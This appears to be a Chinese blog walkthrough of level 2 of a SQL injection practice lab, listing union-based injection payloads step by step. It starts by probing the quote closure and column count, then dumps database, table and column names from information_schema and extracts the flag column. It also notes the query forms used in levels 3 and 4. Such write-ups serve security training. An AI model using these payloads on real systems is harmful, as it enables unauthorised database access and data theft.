Pass-02

 和第一关一样,唯一就是注意有闭合和注释符

id=1' and 1=1--+

 

id=1' order by 3--+ 爆列

id=1' and 1=2 union select 1,2,3--+   2,3位置回显

 

 id=1' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+  暴库

id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='error'--+  爆表

id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='error_flag'--+  爆字段

 id=1' and 1=2 union select 1,group_concat(concat_ws(0x7e,flag,0x7e)),3 from error.error_flag--+   爆出flag列所有数据

 附上3,4关语句

Pass-03:select *from user where id=('1')

Pass-04:select *from user where id=("1")

绕过方式和第一,二关基本一致

posted @ 2020-12-14 21:08  !rbash  阅读(72)  评论(0编辑  收藏  举报